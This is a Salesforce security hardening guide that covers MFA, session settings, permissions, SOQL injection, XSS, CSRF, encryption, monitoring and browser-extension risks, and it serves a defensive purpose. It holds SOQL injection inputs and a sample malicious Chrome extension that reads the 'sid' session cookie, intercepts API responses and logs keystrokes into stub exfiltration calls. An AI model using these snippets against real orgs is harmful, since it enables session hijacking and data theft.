Step-by-step instructions, code examples, and checklists to protect your org from data breaches and social engineering attacks
In 2025, the Salesforce ecosystem experienced an unprecedented series of coordinated attacks. Understanding what happened is the first step to preventing similar incidents in your organization.
Critical Alert: According to security industry reports, over 700 organizations had their Salesforce instances compromised through social engineering and OAuth abuse in 2025.
| Date | Company | Impact |
|---|---|---|
| June 2025 | 2.55 million customer records exposed | |
| July 2025 | Allianz Life | Customer data compromised via ShinyHunters |
| August 2025 | Chanel, Pandora | Fashion brands targeted in coordinated attack |
| August 2025 | Workday | 70 million user records accessed |
| August 2025 | Farmers Insurance | 1.1 million customer records disclosed |
| Aug 2025 | Airlines (KLM, Air France, etc.) | Passenger data and loyalty numbers exposed |
The breaches were not due to Salesforce platform vulnerabilities. As noted by Salesforce Security Advisories, the attacks exploited:
Key Lesson: A secure platform doesn't guarantee a secure org. Most breaches result from misconfiguration and social engineering, not technical exploits.
The Security Health Check is your first line of defense. It's a built-in tool that scores your org's security settings from 0-100.
Go to Setup → Quick Find → Type "Health Check" → Click Health Check
Your org receives a score from 0-100. Aim for 80+ as a minimum. Below 60 indicates critical security gaps.
Click Fix Risks to automatically apply recommended settings, or click individual settings to configure manually.
| Setting | Risk Level | Recommended Value |
|---|---|---|
| Password Minimum Length | High | 12+ characters |
| Password Complexity | High | Must include letters, numbers, special chars |
| Session Timeout | Medium | 2 hours or less |
| Lock Sessions to IP | Medium | Enabled (if users don't roam) |
| Require HTTPS | High | Always enabled |
Pro Tip: According to Salesforce Security Implementation Guide, you can create up to 5 custom baselines to measure against your organization's specific security requirements instead of the default Salesforce Baseline.
Since February 2022, MFA is contractually required for all Salesforce customers. Even if credentials are stolen, MFA prevents unauthorized access.
Go to Setup → Session Settings → Scroll to Session Security Levels → Move Multi-Factor Authentication to the High Assurance column → Click Save
Go to Setup → Permission Sets → Click New → Name it "MFA_Required" → Save
In your new permission set, click System Permissions → Click Edit → Enable "Multi-Factor Authentication for User Interface Logins" → Save
Click Manage Assignments → Add Assignment → Select all users → Assign
| Method | Description | Best For |
|---|---|---|
| Salesforce Authenticator | Push notifications, location-based auto-approval | Most users (recommended) |
| TOTP Apps | Google Authenticator, Microsoft Authenticator, Authy | Users preferring third-party apps |
| Security Keys | YubiKey, Titan Security Key (USB/NFC) | High-security users, admins |
| Built-in Authenticators | Touch ID, Face ID, Windows Hello | Users with biometric devices |
Session settings control how long users stay logged in and what protections are applied during their session. Proper configuration prevents session hijacking and limits exposure if credentials are compromised.
Navigate to Setup → Session Settings to configure these settings:
| Setting | Recommended Value | Why |
|---|---|---|
| Session Timeout | 2 hours (or less for sensitive data) | Limits exposure from unattended sessions |
| Force Logout on Session Timeout | Enabled | Prevents token reuse after timeout |
| Lock Sessions to IP Address | Enabled (if users don't roam) | Prevents session hijacking from other IPs |
| Lock Sessions to Domain | Enabled | Prevents cross-domain session theft |
| Clickjack Protection | Enabled for all pages | Prevents UI redressing attacks |
| Require Secure Connections (HTTPS) | Enabled | Encrypts all traffic |
According to Salesforce Trailhead security module, you can restrict login to specific IP ranges per profile:
Go to Setup → Profiles → Select the profile → Login IP Ranges
Click New → Enter Start IP and End IP → Add description (e.g., "Corporate VPN") → Save
Limit when users can log in to reduce off-hours attack windows:
Go to Setup → Profiles → Select profile → Login Hours → Click Edit
Click and drag to select allowed hours for each day. Gray means blocked, colored means allowed.
Important: Login IP restrictions and hours are enforced only at login time. Users already logged in won't be kicked out if they exceed these restrictions during an active session.
The principle of least privilege is fundamental: users should have only the minimum permissions needed to do their job. This limits the blast radius of any security incident.
Note: Salesforce announced that permissions on Profiles will be retired in Spring '26. Start migrating to Permission Sets and Permission Set Groups now.
| Permission | Risk | Who Should Have It |
|---|---|---|
| Modify All Data | Critical | System Admin only |
| View All Data | Critical | Auditors, limited admins |
| Manage Users | High | User admins only |
| Author Apex | High | Developers only (not in prod) |
| API Enabled | Medium | Integration users, power users |
| Export Reports | Medium | Approved analysts only |
-- SOQL Query: Find users with Modify All Data permission
SELECT Id, Name, Profile.Name
FROM User
WHERE Profile.PermissionsModifyAllData = true
AND IsActive = true
-- Find all permission sets with View All Data
SELECT Id, Name, PermissionsViewAllData
FROM PermissionSet
WHERE PermissionsViewAllData = true
Create separate permission sets for each function: "Sales_Read", "Sales_Create", "Sales_Admin"
Combine permission sets into groups: "Sales_User_Group" includes Sales_Read + Sales_Create
Assign users to permission set groups rather than individual permission sets for easier management
Field-Level Security controls which fields users can see and edit. According to Salesforce data security documentation, FLS is enforced across all parts of Salesforce including reports, list views, and search results.
Setup → Object Manager → Select Object → Fields & Relationships → Select Field
Click Set Field-Level Security → Configure Visible/Read-Only for each profile → Save
According to Apex developer documentation, Apex runs in system context by default, bypassing FLS. You must explicitly enforce security.
// RECOMMENDED: User mode automatically enforces CRUD and FLS
List<Account> accounts = [
SELECT Id, Name, AnnualRevenue, Phone
FROM Account
WITH USER_MODE
];
// For DML operations
Database.insert(newAccounts, AccessLevel.USER_MODE);
// Throws exception if user lacks field access
List<Contact> contacts = [
SELECT Id, Name, Email, SSN__c
FROM Contact
WITH SECURITY_ENFORCED
];
// If user can't see SSN__c, query throws System.QueryException
public class SecureContactController {
public static List<Contact> getContacts() {
// Check object-level access
if (!Schema.sObjectType.Contact.isAccessible()) {
throw new AuraHandledException('You do not have access to Contacts');
}
// Check field-level access
if (!Schema.sObjectType.Contact.fields.Email.isAccessible()) {
throw new AuraHandledException('You do not have access to Email field');
}
return [SELECT Id, Name, Email FROM Contact LIMIT 100];
}
public static void updateContact(Contact con) {
// Check update permission
if (!Schema.sObjectType.Contact.isUpdateable()) {
throw new AuraHandledException('You cannot update Contacts');
}
// Check field update permission
if (!Schema.sObjectType.Contact.fields.Email.isUpdateable()) {
throw new AuraHandledException('You cannot update Email field');
}
update con;
}
}
Security Alert: Never use without sharing keyword unless absolutely necessary. It bypasses sharing rules and can expose sensitive data. If you must use it, document why and review regularly.
Connected Apps and OAuth tokens were the primary attack vector in the 2025 breach wave. According to Salesforce Connected Apps documentation, proper configuration is essential.
2025 Update: As of September 2025, Salesforce eliminated OAuth Device Flow and blocks uninstalled Connected Apps by default for most users.
Setup → Connected Apps OAuth Usage → Review all apps and their access levels
For any unknown apps, click Block to immediately revoke access and prevent future connections
For each Connected App: Manage → Edit Policies → Set Permitted Users to "Admin approved users are pre-authorized"
Under OAuth Policies, set Refresh Token Expiration to 90 days or less. Enable Refresh Token Rotation.
// Connected App metadata example (for reference)
{
"fullName": "Secure_Integration_App",
"label": "Secure Integration App",
"oauthConfig": {
"callbackUrl": "https://your-app.com/oauth/callback",
"isAdminApproved": true,
"scopes": ["api", "refresh_token"],
"isSecretRequiredForRefreshToken": true,
"isCodeCredentialPostOnly": true
},
"oauthPolicy": {
"ipRelaxation": "ENFORCE",
"refreshTokenPolicy": "SPECIFIC_EXPIRATION",
"refreshTokenValidityPeriod": 90,
"singleLogoutUrl": "https://your-app.com/logout"
}
}
Important Distinction: While Connected Apps appear in OAuth Usage reports and can be managed through Setup, browser extensions operate completely outside Salesforce's visibility. Extensions piggyback on user sessions and never appear in any Salesforce security dashboard. See Section 14: Browser Extension Risks to understand this hidden threat vector.
SOQL injection is one of the OWASP Top 10 vulnerabilities. It occurs when user input is directly concatenated into dynamic SOQL queries, allowing attackers to modify query logic.
// DANGEROUS - DO NOT USE
public List<Account> searchAccounts(String searchTerm) {
String query = 'SELECT Id, Name FROM Account WHERE Name = '' + searchTerm + ''';
return Database.query(query);
}
// Attacker input: ' OR Name != '
// Results in: SELECT Id, Name FROM Account WHERE Name = '' OR Name != ''
// Returns ALL accounts!
// SECURE - Bind variable prevents injection
public List<Account> searchAccounts(String searchTerm) {
return [SELECT Id, Name FROM Account WHERE Name = :searchTerm];
}
// Even better: Use LIKE with bind variable
public List<Account> searchAccountsLike(String searchTerm) {
String sanitizedTerm = '%' + searchTerm + '%';
return [SELECT Id, Name FROM Account WHERE Name LIKE :sanitizedTerm];
}
// SECURE - Escapes single quotes in user input
public List<Account> dynamicSearch(String searchTerm) {
String escapedTerm = String.escapeSingleQuotes(searchTerm);
String query = 'SELECT Id, Name FROM Account WHERE Name LIKE '%' + escapedTerm + '%'';
return Database.query(query);
}
// SECURE - Modern approach with bind map
public List<Account> modernSearch(String searchTerm, String industry) {
String query = 'SELECT Id, Name, Industry FROM Account WHERE Name LIKE :searchTerm';
if (String.isNotBlank(industry)) {
query += ' AND Industry = :industry';
}
Map<String, Object> bindMap = new Map<String, Object>{
'searchTerm' => '%' + searchTerm + '%',
'industry' => industry
};
return Database.queryWithBinds(query, bindMap, AccessLevel.USER_MODE);
}
According to Salesforce Apex Developer Guide, escapeSingleQuotes doesn't protect against all injection types:
// VULNERABLE - Boolean injection
String isActiveInput = 'true OR ReceivesAdminInfoEmails=true';
String query = 'SELECT Id FROM User WHERE IsActive=' + String.escapeSingleQuotes(isActiveInput);
// Injection succeeds because no quotes are needed!
// SECURE - Typecast to enforce data type
public List<User> getUsersByStatus(String isActiveInput) {
Boolean isActive;
try {
isActive = Boolean.valueOf(isActiveInput);
} catch (Exception e) {
throw new AuraHandledException('Invalid input');
}
return [SELECT Id, Name FROM User WHERE IsActive = :isActive];
}
escapeSingleQuotes() for string values in dynamic SOQLDatabase.queryWithBinds() for complex dynamic queriesescapeSingleQuotes alone for non-string valuesXSS attacks inject malicious scripts into web pages viewed by other users. Salesforce has built-in protections, but developers must follow best practices to avoid creating vulnerabilities.
<!-- DANGEROUS - escape="false" allows XSS -->
<apex:outputText value="{!userInput}" escape="false" />
<!-- DANGEROUS - Direct output in JavaScript -->
<script>
var name = '{!JSENCODE(userInput)}'; // Must use JSENCODE
</script>
<!-- SECURE - Default behavior escapes HTML -->
<apex:outputText value="{!userInput}" />
<!-- SECURE - Explicit HTML encoding -->
<apex:outputText value="{!HTMLENCODE(userInput)}" />
<!-- SECURE - For JavaScript contexts -->
<script>
var name = '{!JSENCODE(userInput)}';
var data = {!JSINHTMLENCODE(jsonData)};
</script>
<!-- SECURE - For URL parameters -->
<a href="/page?param={!URLENCODE(userInput)}">Link</a>
According to Salesforce LWS Sanitization documentation, LWC provides automatic HTML escaping by default, but DOM manipulation can introduce vulnerabilities:
// SECURE - Template expressions are auto-escaped
<template>
<p>{userInput}</p> <!-- Automatically escaped -->
</template>
// VULNERABLE - Direct innerHTML assignment
connectedCallback() {
// DANGEROUS - Allows XSS (even with LWS, user input should be validated)
this.template.querySelector('div').innerHTML = this.userInput;
}
// SECURE - Use textContent for plain text
connectedCallback() {
// SAFE - textContent escapes HTML
this.template.querySelector('div').textContent = this.userInput;
}
// RECOMMENDED - Use lightning-formatted-rich-text for HTML content
// In your template:
<template>
<lightning-formatted-rich-text value={richTextContent}>
</lightning-formatted-rich-text>
</template>
// The component automatically sanitizes HTML and only allows safe tags
Best Practice: According to Salesforce Trailhead security module, avoid using lwc:dom="manual" wherever possible. Let LWC manipulate the DOM - it provides the best sanitization through Lightning Web Security (LWS).
The lightning-formatted-rich-text component automatically sanitizes HTML to prevent XSS:
// HTML template
<template>
<lightning-formatted-rich-text
value={userProvidedHtml}>
</lightning-formatted-rich-text>
</template>
// Supported tags (all others are stripped):
// a, abbr, b, br, big, blockquote, code, del, div, em,
// h1-h6, hr, i, img, ins, li, ol, p, pre, s, small,
// span, strong, sub, sup, table, tbody, td, th, tr, u, ul
| Function | Context | Use Case |
|---|---|---|
HTMLENCODE() |
HTML body | Text displayed in HTML elements |
JSENCODE() |
JavaScript strings | Values in JS string literals |
JSINHTMLENCODE() |
JS in HTML | JS in onclick handlers, etc. |
URLENCODE() |
URL parameters | Query strings, paths |
CSRF attacks trick authenticated users into performing unwanted actions. Salesforce has built-in CSRF protection, but there are edge cases developers must handle.
According to Salesforce Secure Coding Guide, CSRF protection is automatically enabled:
Critical: CSRF protection has a brief vulnerability window during page load. Never perform DML operations in constructors or initialization methods.
// VULNERABLE - DML in page constructor
public class VulnerableController {
public VulnerableController() {
// DANGEROUS - Executes before CSRF check completes
delete [SELECT Id FROM Task WHERE OwnerId = :UserInfo.getUserId()];
}
}
// VULNERABLE in LWC - DML on load
@AuraEnabled
public static void riskyMethod() {
// Don't call this from connectedCallback()!
delete [SELECT Id FROM Task LIMIT 10];
}
// SECURE - Require explicit user action
public PageReference deleteRecords() {
// Safe - Called via button click after page fully loaded
if (ApexPages.currentPage().getParameters().containsKey('confirm')) {
delete [SELECT Id FROM Task WHERE OwnerId = :UserInfo.getUserId()];
}
return null;
}
// VULNERABLE - DML on component load
connectedCallback() {
deleteRecords(); // DON'T DO THIS
}
// SECURE - Require user interaction
handleDeleteClick() {
// Show confirmation first
if (confirm('Are you sure?')) {
deleteRecords();
}
}
// When making API calls from external apps, include session token
fetch('/services/data/v59.0/sobjects/Account', {
method: 'POST',
headers: {
'Authorization': 'Bearer ' + sessionId,
'Content-Type': 'application/json',
// Salesforce validates session ID as CSRF token
},
body: JSON.stringify(accountData)
});
Shield Platform Encryption provides an extra layer of protection by encrypting sensitive data at rest. It's part of the Salesforce Shield add-on product.
| Data Type | Encryption Available |
|---|---|
| Standard and Custom Fields | Text, Text Area, Long Text Area, Email, Phone, URL, Date, DateTime |
| Files and Attachments | All files, attachments, and Salesforce Files |
| Search Index | Index entries for encrypted fields |
| Chatter | Posts, comments, questions, answers |
Setup → Platform Encryption → Encryption Policy → Enable
Key Management → Generate Tenant Secret → Choose type (Data, Files, Search Index)
Encryption Policy → Encrypt Fields → Select objects and fields → Save
Encryption Policy → Encrypt Files and Attachments → Enable
Important Considerations:
For maximum control, organizations can manage their own encryption keys:
# Generate key material using OpenSSL
openssl rand -out customer-key.bin 32
# Wrap the key with Salesforce certificate (obtained from Setup)
openssl pkeyutl -encrypt
-in customer-key.bin
-out wrapped-key.bin
-pubin -inkey salesforce-cert.pem
-pkeyopt rsa_padding_mode:oaep
-pkeyopt rsa_oaep_md:sha256
Continuous monitoring is essential for detecting security incidents early. According to Salesforce Event Monitoring documentation, comprehensive logging enables rapid incident response.
Setup → Login History → View last 20,000 logins (6 months via CSV export)
-- Query login history in Apex
SELECT Id, UserId, LoginTime, SourceIp, Status, Application, Browser
FROM LoginHistory
WHERE LoginTime > LAST_N_DAYS:7
ORDER BY LoginTime DESC
Setup → View Setup Audit Trail → Last 20,000 configuration changes (180 days via CSV)
-- Query setup changes
SELECT Id, CreatedDate, CreatedById, CreatedBy.Name, Action, Section, Display
FROM SetupAuditTrail
WHERE CreatedDate > LAST_N_DAYS:30
ORDER BY CreatedDate DESC
Enable on sensitive fields to track who changed what and when.
Shield Event Monitoring provides comprehensive visibility:
| Event Type | What It Tracks | Security Use Case |
|---|---|---|
| Login Event | All login attempts (success/failure) | Detect brute force, unusual locations |
| API Event | All API calls with details | Detect bulk data extraction |
| Report Export | Report downloads and exports | Detect data exfiltration |
| Permission Changes | Permission set/profile changes | Detect privilege escalation |
| URI Event | All page views with timing | Usage patterns, performance |
Setup → Transaction Security → New Policy
Example: Alert when API requests exceed 1000/hour from single user
Choose: Block, Multi-Factor Authentication Required, or Notify
// Custom Apex policy for suspicious API activity
global class HighVolumeAPIPolicy implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
// Trigger if more than 500 API calls in 10 minutes
Integer recentCalls = [
SELECT COUNT() FROM ApiEvent
WHERE UserId = :e.getUserId()
AND EventDate > :DateTime.now().addMinutes(-10)
];
return recentCalls > 500;
}
}
The 2025 breaches primarily used social engineering - attackers calling employees and convincing them to install malicious software. According to Salesforce Security Best Practices, technical controls alone aren't enough.
| Attack Type | How It Works | Defense |
|---|---|---|
| Vishing (Voice Phishing) | Attacker calls claiming to be Salesforce support, asks to install "diagnostic tool" | Verify through official channels, never install unsolicited software |
| Fake OAuth Consent | Attacker sends OAuth authorization link for malicious app | Admin-only app approval, user training |
| Credential Phishing | Fake Salesforce login page captures username/password | MFA, check URL, security awareness training |
| Pretexting | Attacker creates elaborate scenario to gain trust before requesting access | Verify identity through known contacts, follow procedures |
Salesforce Chrome extensions have become an essential part of many users' workflows, offering productivity enhancements and automation capabilities. However, these same extensions represent a significant and often overlooked security vulnerability that can lead to devastating data breaches.
Critical Warning: In December 2024, a massive supply chain attack compromised 35+ Chrome extensions affecting 3.7 million users. Attackers phished developer accounts and pushed malicious updates that stole cookies, session tokens, and credentials. The attack continued into 2025, with GitLab's Threat Intelligence team identifying additional compromised extensions in February 2025. Even legitimate extensions with excessive permissions can be exploited if compromised.
Browser extensions operate with significant privileges that can bypass Salesforce's built-in security controls:
| Attack Vector | How It Works | Impact |
|---|---|---|
| Session Hijacking | Extension reads Salesforce session cookies (sid) and forwards them to attacker's server | Complete account takeover without needing credentials |
| Credential Harvesting | Keylogger functionality captures username/password on login pages | Attacker obtains reusable credentials for future access |
| DOM Manipulation | Extension modifies Salesforce pages to inject fake forms or redirect data | Users unknowingly submit sensitive data to attackers |
| API Token Theft | Extension intercepts OAuth tokens from browser storage or network requests | Persistent API access even after password changes |
| Data Exfiltration | Extension reads and copies data from Salesforce pages in real-time | Continuous data theft without triggering API limits |
| Supply Chain Attack | Legitimate extension gets sold or hacked, malicious update pushed to all users | Mass compromise of previously trusted extension users |
Unlike Connected Apps that use OAuth and appear in Salesforce's security dashboards, browser extensions operate completely outside Salesforce's visibility. This makes them exceptionally dangerous and difficult to detect.
The Invisible Threat: Browser extensions piggyback on your existing authenticated browser session. They don't need their own OAuth token or API credentials - they simply inherit YOUR permissions and act as YOU. Salesforce cannot distinguish between actions you take and actions an extension takes on your behalf.
| Security Control | OAuth Connected Apps | Browser Extensions |
|---|---|---|
| Visible in Setup → Connected Apps | ✓ Yes - Listed and manageable | ✗ No - Completely invisible |
| Appears in OAuth Usage Report | ✓ Yes - Token grants tracked | ✗ No - Uses session cookie, not OAuth |
| Admin Can Revoke Access | ✓ Yes - Revoke tokens anytime | ✗ No - No Salesforce control |
| Login History Attribution | ✓ Yes - Shows app name | ✗ No - Appears as normal user session |
| API Limits Apply | ✓ Yes - Counted against limits | ✗ Partial - DOM scraping bypasses API entirely |
| Setup Audit Trail Logging | ✓ Yes - App authorization logged | ✗ No - No installation record in Salesforce |
| Event Monitoring Detection | ✓ Yes - API events captured | ✗ Limited - Only if extension makes API calls |
| Can Block at Org Level | ✓ Yes - Blocklist apps | ✗ No - Requires endpoint/browser management |
When you log into Salesforce, your browser stores a session cookie (the sid cookie). This cookie is what keeps you logged in as you navigate between pages. Here's the critical security gap:
// Normal OAuth Flow (Visible to Salesforce)
// 1. App redirects to Salesforce login
// 2. User authenticates and grants permission
// 3. Salesforce issues access_token to the app
// 4. App uses token for API calls → LOGGED in Connected Apps OAuth Usage
// Browser Extension Flow (Invisible to Salesforce)
// 1. User logs into Salesforce normally
// 2. Browser stores session cookie (sid)
// 3. Extension reads the cookie OR reads page content directly
// 4. Extension acts with user's full permissions → NO TRACE in Salesforce
// Extension accessing data - Salesforce sees this as the USER, not an app
chrome.cookies.get({url: "https://mycompany.my.salesforce.com", name: "sid"},
function(cookie) {
// Extension now has full session access
// Can make requests that appear to come from the user
fetch("https://mycompany.my.salesforce.com/services/data/v59.0/query?q=SELECT+Id,Name+FROM+Account", {
headers: { "Authorization": "Bearer " + cookie.value }
});
// This API call is attributed to the USER, not any "app"
}
);
// Even worse - DOM scraping requires NO API calls at all
// Extension just reads what's already displayed on screen
document.querySelectorAll('.slds-table tbody tr').forEach(row => {
// Silently capture all visible record data
// Zero API calls = Zero detection in Event Monitoring
exfiltrateToAttacker(row.innerText);
});
Key Insight: When you review "Connected Apps OAuth Usage" in Setup, you might feel secure seeing only approved applications. But browser extensions don't appear there at all. A malicious extension could be exfiltrating your entire org's data right now, and there would be no record of it in any Salesforce report. The only way to detect and control extensions is through endpoint management tools outside of Salesforce.
Scenario 1 - The "Helpful" Productivity Extension: An employee installs a popular Salesforce productivity extension from the Chrome Web Store. The extension legitimately enhances their workflow, but also silently captures every record they view and sends it to an external server. Because the extension has broad permissions to "read and change all your data on salesforce.com," this behavior appears normal to security scanners.
Scenario 2 - The Compromised Update: A trusted extension used by 50,000 Salesforce users is acquired by a new company. The new owner pushes an update that adds telemetry code, which actually harvests session tokens. Within hours, thousands of Salesforce orgs are compromised before anyone notices.
Scenario 3 - The Fake Extension: Attackers create a Chrome extension with a name similar to a popular Salesforce tool (e.g., "Salesforce Inspector Pro" vs legitimate "Salesforce Inspector"). Users install the fake version, which looks identical but contains malicious code.
When reviewing Chrome extensions, these permissions should raise immediate red flags for Salesforce users:
Extensions requesting these host permissions have direct access to your Salesforce org:
Understanding the attack mechanics helps you appreciate why this threat is so serious:
// Example: How a malicious extension can steal Salesforce session
// THIS IS FOR EDUCATIONAL PURPOSES - showing what attackers do
// 1. Read Salesforce session cookie
chrome.cookies.get({
url: "https://yourcompany.my.salesforce.com",
name: "sid"
}, function(cookie) {
// Session ID captured - attacker can now impersonate user
exfiltrateData(cookie.value);
});
// 2. Intercept API responses containing sensitive data
chrome.webRequest.onCompleted.addListener(
function(details) {
// Capture all Salesforce API responses
if (details.url.includes('/services/data/')) {
// Record data is being exfiltrated
}
},
{urls: ["*://*.salesforce.com/*"]}
);
// 3. Inject keylogger on Salesforce login page
if (window.location.hostname.includes('salesforce.com')) {
document.addEventListener('keydown', function(e) {
// Every keystroke sent to attacker's server
sendToC2Server(e.key);
});
}
For organizations using Google Workspace or Chrome Enterprise, implement these policies to protect Salesforce access:
Pro Tip: Use RuntimeBlockedHosts as a safety net - even if an extension is accidentally approved, it still cannot access your Salesforce domains. This provides defense-in-depth protection.
| Evaluation Criteria | Safe Indicator | Red Flag |
|---|---|---|
| Publisher | Known company, verified badge, official website | Unknown publisher, no verification, no web presence |
| User Base | 10,000+ users, consistent growth over time | Few users, sudden spike in installs |
| Reviews | Detailed reviews, mix of positive/critical, verified users | Generic praise, all 5-stars, review dates clustered |
| Permissions | Minimal permissions matching stated functionality | Excessive permissions, access to all sites |
| Update History | Regular updates, changelog provided | No updates for years OR recent ownership change |
| Source Code | Open source, code available for review | Obfuscated code, closed source for sensitive features |
Disable the suspected extension immediately. Do not uninstall yet - forensics may need it.
In Salesforce: Setup → Session Management → Log out all users. Force password resets.
Check OAuth Usage report and revoke any suspicious connected app authorizations.
Review Login History, Setup Audit Trail, and Event Monitoring logs for anomalies.
Report to your security team and consider engaging Salesforce support for guidance.
Best Practice: The safest approach for high-security environments is to access Salesforce from a browser with ZERO extensions installed. Create a dedicated Chrome profile or use a managed browser specifically for Salesforce access.
Use this comprehensive checklist to audit and secure your Salesforce org. Review quarterly at minimum.
Final Recommendation: Security is an ongoing process, not a one-time task. Schedule quarterly security reviews, stay updated on Salesforce Security Advisories, and foster a security-conscious culture in your organization.